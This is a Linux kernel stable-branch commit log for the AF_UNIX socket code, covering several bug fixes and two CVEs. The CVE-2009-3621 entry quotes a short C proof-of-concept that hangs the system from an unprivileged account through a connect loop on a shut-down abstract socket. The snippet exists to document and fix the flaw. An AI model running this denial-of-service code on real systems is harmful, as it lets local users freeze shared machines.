kernel.git/net/unix, branch linux-2.6.27.y

af_unix: Only allow recv on connected seqpacket sockets.

2012-02-11T14:37:16Z

commit a05d2ad1c1f391c7f514a1d1e09b5417968a7d07 upstream. This fixes the following oops discovered by Dan Aloni: > Anyway, the following is the output of the Oops that I got on the > Ubuntu kernel on which I first detected the problem > (2.6.37-12-generic). The Oops that followed will be more useful, I > guess. >[ 5594.669852] BUG: unable to handle kernel NULL pointer dereference > at (null) > [ 5594.681606] IP: [] unix_dgram_recvmsg+0x1fb/0x420 > [ 5594.687576] PGD 2a05d067 PUD 2b951067 PMD 0 > [ 5594.693720] Oops: 0002 [#1] SMP > [ 5594.699888] last sysfs file: The bug was that unix domain sockets use a pseduo packet for connecting and accept uses that psudo packet to get the socket. In the buggy seqpacket case we were allowing unconnected sockets to call recvmsg and try to receive the pseudo packet. That is always wrong and as of commit 7361c36c5 the pseudo packet had become enough different from a normal packet that the kernel started oopsing. Do for seqpacket_recv what was done for seqpacket_send in 2.5 and only allow it on connected seqpacket sockets. Tested-by: Dan Aloni Signed-off-by: Eric W. Biederman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau

net: unix: fix sending fds in multiple buffers

2010-04-01T22:52:18Z

commit 8ba69ba6a324b13e1190fc31e41954d190fd4f1d upstream. Kalle Olavi Niemitalo reported that: "..., when one process calls sendmsg once to send 43804 bytes of data and one file descriptor, and another process then calls recvmsg three times to receive the 16032+16032+11740 bytes, each of those recvmsg calls returns the file descriptor in the ancillary data. I confirmed this with strace. The behaviour differs from Linux 2.6.26, where reportedly only one of those recvmsg calls (I think the first one) returned the file descriptor." This bug was introduced by a patch from me titled "net: unix: fix inflight counting bug in garbage collector", commit 6209344f5. And the reason is, quoting Kalle: "Before your patch, unix_attach_fds() would set scm->fp = NULL, so that if the loop in unix_stream_sendmsg() ran multiple iterations, it could not call unix_attach_fds() again. But now, unix_attach_fds() leaves scm->fp unchanged, and I think this causes it to be called multiple times and duplicate the same file descriptors to each struct sk_buff." Fix this by introducing a flag that is cleared at the start and set when the fds attached to the first buffer. The resulting code should work equivalently to the one on 2.6.26. Reported-by: Kalle Olavi Niemitalo Signed-off-by: Miklos Szeredi Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman

AF_UNIX: Fix deadlock on connecting to shutdown socket (CVE-2009-3621)

2009-11-10T00:52:21Z

commit 77238f2b942b38ab4e7f3aced44084493e4a8675 upstream. I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users. How to reproduce: 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it. 2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled. 3. connect(2) takes the CPU forever. If every core is taken, the system hangs. PoC code: (Run as many times as cores on SMP machines.) int main(void) { int ret; int csd; int lsd; struct sockaddr_un sun; /* make an abstruct name address (*) */ memset(&sun, 0, sizeof(sun)); sun.sun_family = PF_UNIX; sprintf(&sun.sun_path[1], "%d", getpid()); /* create the listening socket and shutdown */ lsd = socket(AF_UNIX, SOCK_STREAM, 0); bind(lsd, (struct sockaddr *)&sun, sizeof(sun)); listen(lsd, 1); shutdown(lsd, SHUT_RDWR); /* connect loop */ alarm(15); /* forcely exit the loop after 15 sec */ for (;;) { csd = socket(AF_UNIX, SOCK_STREAM, 0); ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun)); if (-1 == ret) { perror("connect()"); break; } puts("Connection OK"); } return 0; } (*) Make sun_path[0] = 0 to use the abstruct namespace. If a file-based socket is used, the system doesn't deadlock because of context switches in the file system layer. Why this happens: Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever. Patch: The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED. Signed-off-by: Tomoki Sekiyama Signed-off-by: Masanori Yoshida Cc: Chuck Ebbert Signed-off-by: David S. Miller

af_unix: netns: fix problem of return value

2008-12-13T23:29:11Z

[ Upstream commit 48dcc33e5e11de0f76b65b113988dbc930d17395 ] fix problem of return value net/unix/af_unix.c: unix_net_init() when error appears, it should return 'error', not always return 0. Signed-off-by: Jianjun Kong Signed-off-by: David S. Miller

net: Fix soft lockups/OOM issues w/ unix garbage collector (CVE-2008-5300)

2008-12-05T18:55:25Z

commit 5f23b734963ec7eaa3ebcd9050da0c9b7d143dd3 upstream. This is an implementation of David Miller's suggested fix in: https://bugzilla.redhat.com/show_bug.cgi?id=470201 It has been updated to use wait_event() instead of wait_event_interruptible(). Paraphrasing the description from the above report, it makes sendmsg() block while UNIX garbage collection is in progress. This avoids a situation where child processes continue to queue new FDs over a AF_UNIX socket to a parent which is in the exit path and running garbage collection on these FDs. This contention can result in soft lockups and oom-killing of unrelated processes. Signed-off-by: dann frazier Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman

net: unix: fix inflight counting bug in garbage collector

2008-11-13T17:55:58Z

commit 6209344f5a3795d34b7f2c0061f49802283b6bdd upstream Previously I assumed that the receive queues of candidates don't change during the GC. This is only half true, nothing can be received from the queues (see comment in unix_gc()), but buffers could be added through the other half of the socket pair, which may still have file descriptors referring to it. This can result in inc_inflight_move_tail() erronously increasing the "inflight" counter for a unix socket for which dec_inflight() wasn't previously called. This in turn can trigger the "BUG_ON(total_refs < inflight_refs)" in a later garbage collection run. Fix this by only manipulating the "inflight" counter for sockets which are candidates themselves. Duplicating the file references in unix_attach_fds() is also needed to prevent a socket becoming a candidate for GC while the skb that contains it is not yet queued. Reported-by: Andrea Bittau Signed-off-by: Miklos Szeredi Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman

Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6

2008-07-27T03:23:44Z

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6: (39 commits) [PATCH] fix RLIM_NOFILE handling [PATCH] get rid of corner case in dup3() entirely [PATCH] remove remaining namei_{32,64}.h crap [PATCH] get rid of indirect users of namei.h [PATCH] get rid of __user_path_lookup_open [PATCH] f_count may wrap around [PATCH] dup3 fix [PATCH] don't pass nameidata to __ncp_lookup_validate() [PATCH] don't pass nameidata to gfs2_lookupi() [PATCH] new (local) helper: user_path_parent() [PATCH] sanitize __user_walk_fd() et.al. [PATCH] preparation to __user_walk_fd cleanup [PATCH] kill nameidata passing to permission(), rename to inode_permission() [PATCH] take noexec checks to very few callers that care Re: [PATCH 3/6] vfs: open_exec cleanup [patch 4/4] vfs: immutable inode checking cleanup [patch 3/4] fat: dont call notify_change [patch 2/4] vfs: utimes cleanup [patch 1/4] vfs: utimes: move owner check into inode_change_ok() [PATCH] vfs: use kstrdup() and check failing allocation ...

[PATCH] f_count may wrap around

2008-07-27T00:53:40Z

make it atomic_long_t; while we are at it, get rid of useless checks in affs, hfs and hpfs - ->open() always has it equal to 1, ->release() - to 0. Signed-off-by: Al Viro

net: convert BUG_TRAP to generic WARN_ON

2008-07-26T04:43:18Z

Removes legacy reinvent-the-wheel type thing. The generic machinery integrates much better to automated debugging aids such as kerneloops.org (and others), and is unambiguous due to better naming. Non-intuively BUG_TRAP() is actually equal to WARN_ON() rather than BUG_ON() though some might actually be promoted to BUG_ON() but I left that to future. I could make at least one BUILD_BUG_ON conversion. Signed-off-by: Ilpo Järvinen Signed-off-by: David S. Miller

Merge branch 'master' of master.kernel.org:/pub/scm/linux/kernel/git/davem/net-2.6

2008-06-28T08:19:40Z

Conflicts: drivers/net/wireless/iwlwifi/iwl4965-base.c